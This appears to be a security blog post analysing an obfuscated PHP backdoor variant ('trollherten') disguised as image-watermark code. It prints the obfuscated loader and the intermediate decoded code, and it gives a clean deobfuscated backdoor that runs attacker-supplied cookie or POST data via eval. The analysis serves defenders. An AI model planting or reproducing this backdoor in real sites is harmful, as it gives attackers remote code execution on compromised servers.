New variant of “trollherten” malware

We continue to see new variations of obfuscation used to hide a PHP backdoor that began to be heavily used by malicious users in late 2018 - as we mentioned in a blog post at the time.


This variant tries to hide by compressing and encoding the malicious code, then using clever variables to try and mislead someone that may just be doing a cursory glance of the file’s code. In fact, the file and its coding has nothing at all to do with images or watermarks. Its true purpose is found on line 10:

$watermark='};'.urldecode(gzinflate(urldecode($lmagewatermark.$imagewatermark))).'{'; create_function('',$watermark);

This line of code defines the variable $watermark with the uncompressed, decoded data that was derived by using urldecode and gzinflate on the $imagewatermark variable. Now that we have the uncompressed, decoded data assigned to the $watermark variable, it will be easier for us to read the code:

};$GLOBALS['_79565595_']=Array('str_' .'rot13','pack','st' .'rrev');
function _1178619035($i{
$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*");
return $a[$i];}
function l__0($_0){
return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];}$_1=l__0(_1178619035(0)) .l__0(_1178619035(1)) .l__0(_1178619035(2)) .l__0(_1178619035(3));
if(!empty($_1)){
$_1=$GLOBALS['_79565595_'][0](@$GLOBALS['_79565595_'][1](_1178619035(4),$GLOBALS['_79565595_'][2]($_1)));
if(isset($_1)){
@eval($_1);
exit();}}

And after further deobfuscating the PHP code’s arrays and text manipulation, we can see that this is the same malicious code that was mentioned in our past blog post in late 2018:

<?php
function cookie_or_request($_0){
return isset($_COOKIE[$_0]) ? $_COOKIE[$_0] : @$_POST[$_0];}
$rce = cookie_or_request('jweyc') . cookie_or_request('aeskoly') . cookie_or_request('owhggiku') . cookie_or_request('callbrhy');
if(!empty($rce)){
$rce = str_rot13(pack('H*', strrev($rce)));
if(isset($rce)){
@eval($rce);
exit();}}